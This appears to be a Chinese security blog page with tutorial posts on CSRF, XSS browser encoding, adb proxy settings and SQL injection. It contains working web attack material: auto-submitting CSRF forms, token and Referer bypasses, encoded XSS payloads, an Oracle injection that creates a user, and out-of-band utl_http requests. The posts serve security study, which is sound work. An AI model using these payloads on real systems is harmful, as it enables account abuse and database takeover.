Sanmi's blog

天下武功,无坚不破,唯快不破

0%

CSRF漏洞整理汇总

漏洞描述

跨站请求伪造(Cross-Site Request Forgery,CSRF)是一种使已登录用户在不知情的情况下执行某种动作的攻击。因为攻击者看不到伪造请求的响应结果,所以CSRF攻击主要用来执行动作,而非窃取用户数据。当受害者是一个普通用户时,CSRF可以实现在其不知情的情况下转移用户资金、发送邮件等操作;但是如果受害者是一个具有管理员权限的用户时CSRF则可能威胁到整个Web系统的安全。

漏洞成因

错把“经过认证的浏览器发起的请求”当成“经过认证的用户发起的请求”,当已认证的用户点击攻击者构造的恶意链接后就“被”执行了相应的操作。

CSRF漏洞的要点

  1. 目标请求为敏感的增删改操作
  2. 未校验Referer/Origin等头
  3. 所有的请求参数可预知
  4. Web应用身份验证机制是基于Cookie形式的

漏洞防护

  1. 自定义请求头加Token
  2. 校验来源(Origin或Referer)
  3. 使用验证码

POC类型整理

针对不同类型的数据提交的方式,在构造CSRF poc时会有对应的不同。下面将对不同的数据提交的方式,整理对应的poc

1.GET型CSRF

对于GET型的CSRF漏洞,我们可以使用任意的支持src属性的标签构造poc,如<img>等。

1
<img src=https://www.a.com/delete?id=123>

2. 普通的表单提交

2.1 application/x-www-form-urlencoded

这应该是最常见的 POST 提交数据的方式了。浏览器的原生<form>表单,如果不设置 enctype 属性,那么最终就会以 application/x-www-form-urlencoded 方式提交数据。请求类似于下面这样(无关的请求头在本文中都省略掉了)

1
2
3
4
POST http://www.example.com HTTP/1.1
Content-Type: application/x-www-form-urlencoded;charset=utf-8

title=test&sub%5B%5D=1&sub%5B%5D=2&sub%5B%5D=3

首先,Content-Type 被指定为 application/x-www-form-urlencoded;

其次,提交的数据按照 key1=val1&key2=val2 的方式进行编码,key 和 val 都进行了 URL 转码

很多时候,我们用 Ajax 提交数据时,也是使用这种方式。例如 JQueryQWrap 的 Ajax,Content-Type 默认值都是「application/x-www-form-urlencoded;charset=utf-8」。

那么,对应的poc为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>
<!-- CSRF PoC - generated -->

<body>
<form id="csrf" action="https://example/api" method="POST">
<input type="hidden" name="name" value="3454" />
<input type="hidden" name="password" value="123" />

</form>
</body>
<script type="text/javascript">
function autoSubmit() {
document.getElementById("csrf").submit();
}
autoSubmit()
</script>
</html>

2.2 multipart/form-data

这又是一个常见的 POST 数据提交的方式。我们使用表单上传文件时,必须让 <form> 表单的 enctype 等于 multipart/form-data。直接来看一个请求示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST http://www.example.com HTTP/1.1
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryrGKCBY7qhFd3TrwA

------WebKitFormBoundaryrGKCBY7qhFd3TrwA
Content-Disposition: form-data; name="text"

title
------WebKitFormBoundaryrGKCBY7qhFd3TrwA
Content-Disposition: form-data; name="file"; filename="chrome.png"
Content-Type: image/png

PNG ... content of chrome.png ...
------WebKitFormBoundaryrGKCBY7qhFd3TrwA--

首先生成了一个 boundary 用于分割不同的字段,为了避免与正文内容重复,boundary 很长很复杂。

然后 Content-Type 里指明了数据是以 multipart/form-data 来编码,本次请求的 boundary 是什么内容。

消息主体里按照字段个数又分为多个结构类似的部分,每部分都是以 --boundary 开始,紧接着是内容描述信息,然后是回车,最后是字段具体内容(文本或二进制)。如果传输的是文件,还要包含文件名和文件类型信息。消息主体最后以 --boundary-- 标示结束。

Part 头信息中必须包含一个 Content-Disposition 头,其他的头信息则为可选项, 比如 Content-Type 等。

Content-Disposition 包含了 type 和 一个名字为 name 的 parameter,type 是 form-data,name 参数的值则为表单控件(也即 field)的名字,如果是文件,那么还有一个 filename 参数,值就是文件名。

对于可选的 Content-Type(如果没有的话),默认就是 text/plain

对应的csrf poc为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->

<body>
<form id="csrf" action="https://a.com/getAddress" method="POST" enctype="multipart/form-data">
<input type="hidden" name="id" value="123" />

</form>
</body>
<script type="text/javascript">
function autoSubmit() {
document.getElementById("csrf").submit();
}
autoSubmit()
</script>
</html>

3. JSON数据

对于提交数据是JSON数据的,有以下几种利用方式。具体测试时可以都试试

1
Content-Type: application/json

3.1 用form来提交,把name置为一段JSON

1
2
3
4
5
6
7
8
9
10
<html>

<body>
<form action="http://www.xxx.com/webnet/edit" method="POST" enctype="text/plain">
<input type="hidden" name="&#123;&quot;pSpotId&quot;&#58;&quot;120201&quot;&#44;&quot;pSignTimes&quot;&#58;&quot;70&quot;&#44;&quot;pModuleID&quot;&#58;&quot;207&quot;&#44;&quot;pSceneid&quot;&#58;&quot;120201007000046&quot;&#125;" value="" />
<input type="submit" value="Submit request" />
</form>
</body>

</html>

不过这样POST的数据包会多一个“=”,因为我们虽然把value置为空,然后还是会出现“name=”。

这种情况下服务端的JSON解析器可能会拒绝这段JSON,因为它不符合JSON的数据格式。参照外国基佬的做法,我们可以给value赋值从而对这个“=”后面的数据进行补全,使得其构成一个完整的JSON格式,可避免解析器报错(JSON Padding)。

补全等号

1
2
3
4
5
6
7
<html>
<form action="http://www.xxx.com/webnet/edit" method="POST" enctype="text/plain">
<input name='{"pSpotId":"120201","pSignTimes":"70","pModuleID":"207","pSceneid":"120201007000046", "test":"' value='test"}' type='hidden'>
<input type=submit>
</form>

</html>

需要注意的是,在原始的数据包里Content-Type的值是application/json,而以form去提交是没法设置enctype为application/json的。如果服务端验证了Content-Type。则也可能失败

2.3 XHR进行提交

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<!DOCTYPE html>
<html>

<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>

<div id="demo">
<button type="button" onclick="submitRequest()">Exploit</button>
</div>

<script>
function submitRequest() {
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://a.com/review", true);
xhr.setRequestHeader("Accept", "application/json, text/plain, */*");
xhr.setRequestHeader("Content-Type", "application/json; charset=UTF-8");
xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.9");
xhr.withCredentials = true;
xhr.send(JSON.stringify({

"country": "VEN",
"identity_type": "passport",
"first_name": "dfa",
"last_name": "dfaf",
"identity_no": "121212"

}));

xhr.send();
}
</script>
</body>

</html>

这种利用方式,需要满足XHR的要求

CSRF绕过

1. 绕过csrf token

如果一个敏感操作的参数里面,有一个csrf token,我们可以做如下尝试绕过

  1. 将该参数置空
  2. 设置为一个固定值
  3. 删除该参数

2. 如何把Referer头置空

  1. 从https页面发送http请求时,referer头为空
  2. 通过iframe标签加载的请求时,没有Referer头
1
<iframe src=http://www.a.com/delete.php?id=1>
  1. 点设置content为no-referer时(17年新出的功能,本意防止用户隐私泄露),没有referer头。
1
2
3
<html>
<meta name="referrer" content="no-referrer" />

XSS系列(1)——XSS基础知识

俗话说:「万丈高楼平地起」「不积跬步无以至千里」。
学习任何专业,基础知识非常的重要。基础知识是否扎实,决定了你能走多远。

目前网络上关于XSS的知识、介绍非常的多,成系统、系列的介绍却不多。本文争取集各家之所长,由浅及深的介绍XSS的相关知识。本文是XSS系列第一篇,先来介绍XSS相关的基础知识。因小弟才疏学浅,不足之处还望各位大佬多多指教。

本文参考了很多大佬的分享原作,在此表示感谢。我只是一个知识的搬运工。

0x01 浏览器编码

提到XSS,便不得不讲浏览器编码。浏览器编码虽不复杂,却也有许多细节之处常常被人忽略,而对于细节的掌握和理解是否到位,决定了有时候能否成功的编写一个XSS poc。

下面简单介绍下各类的编码类型。

1. 编码类型

浏览器在解析HTML时,是按照一定的格式和编码来解析的,为了不扰乱HTML结构,有HTML编码(比如:<对应&lt;);为了不扰乱JS的语法,有JS编码(比如:'对应\'),为了正常解析URL,有URL编码(比如:&对应%26)。总结起来也就三类,但是有不同的编码形式。

在呈现HTML页面时,针对某些特殊字符如<>直接使用,浏览器会误以为它们标签的开始或结束,若想正确的在HTML页面呈现特殊字符就需要用到其对应的字符实体。

1.1 HTML编码

HTML编码形式最常见的有三种:别名形式、16进制形式、10进制形式,比如:<>"'采用这三种方式编码后分别如下:

  • 字符编码(别名形式):&lt;&gt;&quot;&apos;
  • 16进制形式:&#x3c;&#x3e;&#x22;&#x27;
  • 10进制形式: &#60;&#62;&#34;&#39;

HTML编码的这几种方式可以混合出现,浏览器都可以正常解析。
上述三种形式的分号均可以省略。

1.2 JS编码

JS编码形式最常见的有四种:斜杠转义形式、16进制形式、Unicode编码形式。<>"'采用这几种方式编码后分别如下:

斜杠转义形式:\<\>\"\'
16进制形式:\x3c\x3e\x22\x27
Unicode编码形式:\u003c\u003e\u0022\u0027

注意:

  • 在Unicode编码形式中,中间的字符可以是1-7个字符。如\u000003c。但是笔者在用最新版的Chrome浏览器中测试的时候,只有四个字符可以被正确的识别。各种缘由,暂不清楚。
  • 这几种方式也可以混合出现。
  • 一般的斜杠转义形式不对字母、数字进行转义,因为可能出现混乱的情况,比如:\x\3\c并不会按想象中那样解析成x3c,而是会报语法错误。

1.3 URL编码

URL编码估计大家都非常熟悉,编码都采用%XX的形式,比如同样的<>"'经URL编码后得到%3C%3E%22%27。

需要注意的是,URL编码可以细分为encodeURI,encodeURIComponent两种编码形式,下面将简单说明一下两周编码形式的区别。

encodeURI

encodeURI 是用来处理整个 URI 的,它应该接受 URI 的 protocol, host, port以及URL中的功能字符&?/= 等部分,只对 path 和 query 进行编码。

如果 POST 请求的 Request Header 中 Content-Type 为「application/x-www-form-urlencoded」, 那么 Request Payload 里面的数据一般就是使用 encodeURI(Component) 编码的。

encodeURIComponent

encodeURIComponent 对所有的字符均编码。

举例

1
2
3
4
5
6
encodeURI('https://www.baidu.com/ a b c')
"https://www.baidu.com/%20a%20b%20c"

encodeURIComponent('https://www.baidu.com/ a b c')
"https%3A%2F%2Fwww.baidu.com%2F%20a%20b%20c"

其实除了以上两种URL编码外,还有escape编码,但因为escape已经从 Web 标准中删除,所以此处不做介绍。

2. 编码位置

HTML页面中我们可以按照指定的编码格式去编码,但是,必须要在合适的位置用合适的编码,以及符合浏览器的解码规则和顺序,否则浏览器也无法识别。

2.1 HTML编码适用位置

HTML编码适用于属性值、标签内的内容,看如下示例:

image-20191105184712054

浏览器解析后如下图:

image-20191105184724878

可以看到:

  1. 标签内使用html编码,被解析出来了,并且不影响DOM结构。
  2. 属性值使用html编码,被解析出来了,并且在url、js事件、css中也是如此。
  3. 属性名使用html编码,没有被解析出来

但是,在<script>标签内的js内容以及<style>中的css内容,浏览器是不会使用html编码解码的:

image-20191105184807888

2.2 JS编码适用位置

JS编码则只适用于JS代码中,包括<script>内和JS事件中:

image-20191105184828120

对于JavaScript,转义编码应当只出现在标示符部分,不能用于对语法有真正影响的符号,也就是括号,或者是引号。所以,对('')等进行js编码是失败的。

示例代码:

1
2
3
<script>
alert('dafaf')
</script>

可以对dafaf施行16进制编码Unicode编码形式以及斜杠转义形式
只可以对alert施行Unicode编码
不能对('')编码

我们来分析一下JavaScript解析的一个细节,Javascript解析器工作的时候将\u0061\u006c\u0065\u0072\u0074进行js解码后为“alert”,而“alert”是一个有效的标识符名称,它是能被正常解析的。像圆括号、双引号、单引号等等这些控制字符,在进行JavaScript解析的时候仅会被解码为字符串文本或者上面讲的标识符名称,例如:<script>alert('LDkR\u0027)</script>对控制字符单引号进行js编码,解析时\u0027被解码成文本单引号,无法闭合因此不能成功执行。

2.3 URL编码适用位置

URL编码则只适用于为URL的属性值,且只能对URL中的参数进行URL编码。比如:<a>标签的href属性、<iframe>的src属性等。

3. 浏览器解析顺序

既然各个编码有适合自己的位置,并且这种位置必定会重合,所以,浏览器解码必定有一定的顺序。

首先浏览器接收到一个HTML文档时,会触发HTML解析器对HTML文档进行词法解析,这一过程完成HTML解码并创建DOM树,接下来JavaScript解析器会介入对内联脚本进行解析,这一过程完成JS的解码工作,如果浏览器遇到需要URL的上下文环境,这时URL解析器也会介入完成URL的解码工作,URL解析器的解码顺序会根据URL所在位置不同,可能在JavaScript解析器之前或之后解析。

浏览器无论什么情况都会遵守一个这样的解码规则:

1、 HTML 解析器对 HTML 文档进行解析,完成 HTML 解码并且创建 DOM 树

2、 JavaScript 或者 CSS 解析器对内联脚本进行解析,完成 JS、CSS 解码

3、 URL 解码会根据 URL 所在的顺序不同而在 JS 解码前或者解码后

下面,讲距离几个具体的例子,对解码顺序做一些说明,以方便理解和记忆。

3.1 解码举例1

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<body>

<p id="1">hello</p>

<img src=# onerror="&#97;lert(1)" />

<script>
document.getElementById("1").innerHTML = "<img src=&#35; on\u0065rror=&#97;lert&#40;1)>";
</script>

</body>
<html>

一个正常的容易理解的过程是这一行:

1
<img src=# onerror="&#97;lert(1)" />

HTML 解析到标签,建立DOM 树,然后对节点内容进行实体解码,&#97; 就变成a, 随后在js 解析阶段,正常的触发了弹窗,先后顺序OK。

但对于下面这段代码:

1
2
3
<script>
document.getElementById("1").innerHTML = "<img src=&#35; on\u0065rror=&#97;lert&#40;1)>";
</script>
  1. 使用了DOM 操作,修改前边标签中的内容,添加了一个img 内容,因为进入了script 进入了JavaScript的特殊解析模式,所以此处HTML 不得干扰,首先JavaScript解析器,会先对其中编码的内容解码,于是onerror 就还原回来了,于是正常的执行了JS 语句,在HTML 文档中,将hello 变成了img。img标签内容变成了:

    <img src=&#35; onerror=&#97;lert&#40;1)>

  2. 该标签传回给HTML,HTML 建立DOM节点,HTML解码节点内容:<img src=x onerror=alert(1)>

  3. onerror 又会执行其中的JS 脚本,弹出窗口。

其实,这里也不难理解,因为HTML 是从上到下解析,遇到< script> 于是进入了特殊的解析模式,使用JS 解析器,做了一个DOM 操作,该DOM 操作修改了前边的DOM 树,该块内容,需要使用HTML 解析重塑DOM 树,那么节点内容中的实体编码就会被解码,然后onerror 中触发脚本,JS 又会对内容进行一次解析。

总结说来,实际上,DOM 操作实际上是js强势介入 HTML 和CSS 的结果,使用DOM 操作,对DOM Tree 造成了改变,会调用到HTML 解析器重新对其解析,于是流程又会返回到最开始说的那个解析流程里去。

3.2 解码举例2

1
<a href="javascript:alert(1)">test</a>

针对上述a标签我们分析一下该环境中浏览器的解析顺序,首先HTML解析器开始工作,并对href中的字符做HTML解码,接下来URL解析器对href值进行解码,正常情况下URL值为一个正常的URL链接,如:“https://www.baidu.com“,那么URL解析器工作完成后是不需要其他解码的,但是该环境中URL资源类型为JavaScript,因此该环境中最后一步JavaScript解析器还会进行解码操作,最后解析的脚本被执行。

整个解析顺序为3个环节:HTML解码 –> URL解码 –> JS解码

变形1:URL编码 javascript:alert(1)

1
2
3
4
URL编码“javascript:alert(1)”=“%6A%61%76%61%73%63%72%69%70%74:%61%6C%65%72%74%28%31%29”

编码后:
<a href="%6A%61%76%61%73%63%72%69%70%74:%61%6C%65%72%74%28%31%29">test</a>

需要注意的是,该脚本并不会被正常的执行。这里就有一个URL解析过程中的一个细节了,不能对协议类型进行任何的编码操作,否则URL解析器会认为它无类型,就导致被编码的“javascript”没有解码,所以不会被URL解析器识别。

变形2:

1
2
3
4
5
HTML编码"javascript"="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;"
URL编码"alert(2)"=” %61%6C%65%72%74%28%32%29”

编码后:
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:%61%6C%65%72%74%28%32%29">
  1. HTML解析器工作时,href里的HTML实体会被解码。变成<a href="javascript:%61%6C%65%72%74%28%32%29"

  2. 接下来URL解析器工作解析href属性里的链接时,”javascript”协议在第一步被HTML解码了,这样URL解析器是可以识别的,然后继续解析后面的”%61%6C%65%72%74%28%32%29”,变成<a href="javascript:a lert(1)">

  3. 最后JavaScript解析器完成解析操作,脚本执行。

变形3:

1
2
3
4
5
6
7
8
9
<a href="javascript:alert(3)">test3</a>做JS编码>URL编码>HTML编码共3层。

JS编码:<a href="javascript:\u0061\u006c\u0065\u0072\u0074(3)">test3</a>

URL编码:<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(3)">test3</a>

HTML编码:<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#54;&#37;&#51;&#49;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#54;&#37;&#54;&#51;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#54;&#37;&#51;&#53;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#55;&#37;&#51;&#50;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#55;&#37;&#51;&#52;&#40;&#51;&#41;">test3</a>


按照上面的逻辑分析,是可以被正常解析之行的。

3.3 解码举例3

1
<a href=# onclick="window.open('UserInput')"></a>
  1. 首先由 HTML 解析器对UserInput 部分进行字符实体解码;
  2. 接着由 JavaScript 解析器会再对 onclick 部分的 JS 进行解析并执行 JS;
  3. 执行 JS 后window.open(‘UserInput’)函数的参数会传入 URL,所以再由 URL 解析器对 UserInput 部分进行解码。

解析顺序为:HTML 解析->JavaScript解析->URL 解析。

3.4解码举例4

1
<a href="javascript:window.open('UserInput')">
  1. 首先还是由 HTML 解析器对 UserInput 部分进行字符实体解码;
  2. 接着由 URL 解析器解析 href 的属性值;
  3. 然后由于Scheme为javascript,所以由 JavaScript 解析;
  4. 解析执行 JS 后window.open(‘UserInput’)函数传入 URL,所以再由 URL 解析器解析。

解析顺序为:HTML 解析->URL解析->JavaScript 解析->URL 解析。

3.5 解码举例5

1
<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(15)"></a>
  1. 首先 HTML 解析器进行解析,解析到href 属性的值时,状态机进入属性值状态(Attribute Value State),该状态会解码字符实体;

  2. 接着由 URL 解析器进行解析并解码;

  3. 再接着由于 Scheme 为javascript,因此由 JavaScript 解析器解析并解码,加上编码部分是函 数名,属于标识符,因此可以正常解码解释;

经过三轮解析解码后得到结果:

4.哪些地方可以触发JS解析器

  1. 直接嵌入< script> 代码块。
  2. 通过< script sr=… > 加载代码。
  3. 各种HTML CSS 参数支持JavaScript:URL 触发调用。
  4. CSS expression(…) 语法和某些浏览器的XBL 绑定。
  5. 事件处理器(Event handlers),比如 onload, onerror, onclick等等。
  6. 定时器,Timer(setTimeout, setInterval)
  7. eval(…) 调用。

参考链接

https://security.yirendai.com/news/share/26

通过adb修改手机的代理设置

0x00 前置

在使用MUMU模拟器的时候,经常重启模拟器卡在99%的位置起不来,按照官方指引排错之后依然无法解决问题。后来联系MUMU的同事,经过确认,如果模拟器设置了系统代理没有关闭,重启后就会卡在99%。

但是,卡在99%的时候,是可以通过adb进入系统的。此时,可以通过adb修改手机的代理设置,然后重启就OK了。

0x01 如何修改

方法一

网上百度到的方法大都是这样的:

1
2
3
4
5
6
7
8
9
#设置代理:
adb shell settings put global http_proxy 代理IP地址:端口号
如:
adb shell settings put global http_proxy 127.0.0.1:8888

# 移除代理:
adb shell settings delete global http_proxy
adb shell settings delete global global_http_proxy_host
adb shell settings delete global global_http_proxy_port

但是,这个方法对对MUMU不起作用,都是提示没有删除。

image-20191121102144577

方法二

经过研究,发现了方法二,确认有效。

  1. 通过adb进入shell

  2. 确认是root权限

  3. 编辑/data/misc/wifi/ipconfig.txt删除掉代理相关的配置

    删除之后,ipconfig.txt文件中的内容是这样的

    1
    ^@^@^@^B^@^LipAssignment^@^DDHCP^@^MproxySettings^@^FSTATIC^@   ^@^MexclusionList^@^@^@^Bid�D�^@^Ceos
  4. reboot

SQL注入漏洞总结

0x00 基础知识

一、SQL语句基础知识

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
SELECT 
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name' export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]

2. SQL优先级

AND 的优先级比 OR 的优先级要高。先计算AND的结果,再计算or的结果
同优先级AND中如果有恒为0(如and 1=2),则直接返回0,不执行同级中后面的语句
多个OR连接的语句中如果有恒为1(如or 1=1),则直接返回1,不执行同级中后面的语句

3. SQL 转义字符

3.1 通用特殊字符
1
2
'(单引号):代码与数据间的分界线。
可以使用单引号把数字值引起来,大多数数据库将把该值转换为他所代表的数值。Microsoft SQL Server 例外。
3.2 注释字符
-- 用于单行注释 SQL server
Oracle
PostgreSQl
/* */ 用于多行注释 SQL server
Oracle
PostgreSQl
用于单行注释。
要求第二个连字符后面跟一个空格或控制字符(如制表符、换行符)
MySQL
# 用于单行注释 MySQL
/* */ 用于多行注释 MySQL
3.3 拼接字符
Oracle & PostgreSQL ‘bi’&#x7c;&#x7c;’kes’
Microsoft SQL Server 'bi'+'kes' +为 URL 保留字符,记得转义%2B
MySQL 'bi''kes'

4. 堆叠查询

堆叠查询即在单个数据库连接中执行多个查询序列。对于使用MSSQL 数据库的应用,格外有效。但不是对所有的平台都支持堆叠查询。

可以用;执行多条语句。服务器将依次执行每条语句,数据库服务器向客户端返回每条语句发送的结果集。
如:http://www.a.com/a.aspx?user=54;select *****;--

支持堆叠查询的语言/数据库

MSSQL MySQL PostgreSQL Oracle Access
ASP 支持 不支持
ASP.NET 支持 不支持
PHP 支持 不支持 支持 不支持
Java 不支持 PL/SQL 不支持
4.1 Oracle 执行堆叠查询的方法

Oracle 数据库是不允许执行堆叠查询的,但可以使用 PL/SQL 来执行堆叠查询.

默认情况下,在安装 Oracle 时安装了一些默认的包,其中两个允许执行PL/SQL匿名块的函数是:

1
2
3
4
5
dbms_xmlquery.newcontext()
dbms_xmlquery.getxml()
-- 任何数据库用户都可以执行这两个函数。在利用 SQL 注入漏洞的时候,可以使用这两个函数来执行 DML/DDL 语句块。如:

http://www.a.com/a.jsp?id=1 and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate '' create user pwned identified by pwn3d ''; commit;end;)from dual) is not null --

5. 强制类型转换

数据库服务器 查询
MSSQL SELECT CAST(‘123’ AS varchar)
MySQL SELECT CAST(‘123’ AS char)
Oracle SELECT CAST(123 AS varchar) FROM dual
PostgreSQL SELECT CAST(123 AS text)
可以使用&#x7c;&#x7c;链接字符串链接,只要有一个变量的值为字符串即可

6. 发起对外请求

Oracle

1
2
select utl_http.request('http://10.0.0.1') from dual;
select HTTPURITYPE('http://10.0.0.1').getclob() from dual;

7. SQL常用函数

CONCAT 函数用于将两个字符串连接为一个字符串

1
2
3
4
5
6
7
SQL> SELECT CONCAT('FIRST ', 'SECOND');
+----------------------------+
| CONCAT('FIRST ', 'SECOND') |
+----------------------------+
| FIRST SECOND |
+----------------------------+
1 row in set (0.00 sec)

IFNULL

1
2
3
SELECT IFNULL(value1,value2);
当value1为null时,返回结果为value2
当value1非null时,返回结果为value1

CAST 函数用于将某种数据类型的表达式显式转换为另一种数据类型。

1
2
3
4
5
6
7
CAST (expression AS data_type)

expression:任何有效的SQServer表达式。
AS:用于分隔两个参数,在AS之前的是要处理的数据,在AS之后是要转换的数据类型。
data_type:目标系统所提供的数据类型,包括bigint和sql_variant,不能使用用户定义的数据类型。

SELECT CAST('12' AS int)

CONV(x,f1,f2) 把数字x从f1进制转为f2进制。

substring 函数是用来抓出一个栏位资料中的其中一部分。这个函数的名称在不同的资料库中不完全一样:

1
2
3
4
5
6
7
8
9
MySQL: SUBSTR( ), SUBSTRING( )
Oracle: SUBSTR( )
SQL Server: SUBSTRING( )

SUBSTR (str, pos)
由 <str> 中,选出所有从第 <pos> 位置开始的字元。请注意,这个语法不适用于 SQL Server 上。

SUBSTR (str, pos, len)
由 <str> 中的第 <pos> 位置开始,选出接下去的 <len> 个字元。
  1. Length()函数 返回字符串的长度

  2. substr()截取字符串,偏移是从1开始,而不是0开始

  3. ascii()返回字符的ascii码

  4. count(column_name)函数返回指定列的值的数目(NULL 不计入)

  5. Length()函数 返回字符串的长度

  6. substr()截取字符串

  7. ascii()返回字符的ascii码

  8. sleep(n):将程序挂起一段时间 n为n秒

  9. if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

  10. count(column_name)函数返回指定列的值的数目(NULL 不计入)concat

二、数据库基础知识

1. 数据库元数据存储位置

1.1 Mysql(版本5.0及以后)
  1. 元数据位于INFORMATION_SCHEMA虚拟数据库中,可通过SHOW DATABASESSHOW TABLES命令访问。
  2. 所有MySQL用户均有权访问该数据库中的表,但只能查看表中与该用户访问权限相对应的对象的行。
1
2
-- 列举当前用户可访问的所有的表和数据库
SELECT table_schema,table_name FROM information_schema.tables;
1.2 SQL Server
  1. 可通过INFORMATION_SCHEMA或系统表SYSOBJECTS,SYSINDEXKEYS,SYSINDEXES,SYSCOLUMNS,SYSTYPES等或系统存储过程来访问元数据。
  2. SQLServer 2005引入了一些名为sys.的目录试图,并限制用户只能访问拥有相对应权限的对象。所有的用户均有权访问数据库中的表并查看表中的所有行,而不管用户是否对表或所查阅的数据拥有相对应的访问权限。
1
2
--使用目录视图列举所有可访问的表
SELECT name FROM sys.tables;
1.3 Oracle
  1. 有很多全局内置视图来访问 Oracle 的元数据

  2. ALL_TABLES, ALL_TAB_COLUMNS `列出了当前用户可访问的属性和对象。

  3. USER_开头的视图只显示当前用户拥有的对象

  4. DBA_开头的视图显示数据库中的所有对象。需要有 DBA 权限

1
2
--列举当前用户可访问的所有的表
SELECT OWNER, TABLE_NAME FROM ALL_TABLES ORDER BY TABLE_NAME;

2. 数据库内置变量

2.1 获取数据库版本信息
数据库服务器 查询语句
MSSQL SELECT@@version
MySQL SELECT version()
SELECT@@version()
Oracle SELECT banner FROM v$version;
SELECT banner FROM v$version WHERE rownum=1
PostgreSQL SELECT version()
2.2 MSSQL内置变量
1
2
3
4
5
6
7
8
9
10
@@version				-- 数据库服务器版本
@@servername -- 安装MSSQL的服务器名称
@@language -- 当前所使用语言的名称。
@@spid -- 当前用户的进程

-- 获取更加详细的版本信息
SELECT SERVERPROPERTY('productversion')
SELECT SERVERPROPERTY('productlevel')
SELECT SERVERPROPERTY('edition')
EXEC master..msver

0x01 SQL注入介绍

一、SQL注入产生的原因

二、SQL注入分类

1. 报错注入

2. Xpath报错注入

涉及函数

updatexml():对xml进行查询和修改

extractvalue():对xml进行查询和修改

报错语句构造

1
2
3
4
5
6
select extractvalue(1,concat(0x7e,user(),0x7e));
mysql> select extractvalue(1,concat(0x7e,user(),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'
select updatexml(1,concat(0x7e,version(),0x7e),1);
mysql> select updatexml(1,concat(0x7e,version(),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53~'

原理分析

extractvalue(xml_str , Xpath) 函数,按照Xpath语法从XML格式的字符串中提取一个值,如果函数中任意一个参数为NULL,返回值都是NULL。

其实就是对XML文档进行查询的函数,相当于HTML文件中用 ``等标签查找元素一样,第一个参数传入目标xml文档,第二个参数使用Xpath路径法表示的查找路径

举个简单例子:

1
select extractvalue('<a><b>abbb</b><c>accc</c>aaaa</a>','/a/c');

寻找前一段xml文档内容中的a节点下的c节点

1
2
3
4
5
+----------------------------------------------------------+
| extractvalue('<a><b>abbb</b><c>accc</c>aaaa</a>','/a/c') |
+----------------------------------------------------------+
| accc |
+----------------------------------------------------------+

正常情况下的使用便是这样,但如果我们构造了不合法的Xpath ,MySQL便会出现语法错误,从而显示出XPath的内容。
img

发现报错时少了一部分,没有前面的root,产生这样的问题是因为Xpath语法只有遇到特殊字符时才会报错

那我们直接在需要连接的字符前添加特殊字符即可爆出我们想要的结果
img
但是也要注意,报错的长度是有一定限制的,不要构造过长的payload,否则后面的字符串会被截断
img
updatexml()函数 与extractvalue()类似 ,是更新xml文档的函数

updatexml()函数有三个参数,分别是(XML_document, XPath_string, new_value)

1
2
3
4
5
第一个参数:XML_document是String格式,为XML文档对象的名称 

第二个参数:XPath_string (Xpath格式的字符串)

第三个参数:new_value,String格式,替换查找到的符合条件的数据

原理相同,都是遇到特殊字符爆出错误

img

3. 宽字节注入

涉及函数

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符

mysql_escape_string() — 转义一个字符串

原理分析

先了解一下什么是窄、宽字节已经常见宽字节编码:

1
2
3
4
5
6
7
一、当某字符的大小为一个字节时,称其字符为窄字节.

二、当某字符的大小为两个字节时,称其字符为宽字节.

三、所有英文默认占一个字节,汉字占两个字节

四、常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等

为什么会产生宽字节注入,其中就涉及到编码格式的问题了,宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不同的两个编码格式从而导致产生宽字节注入

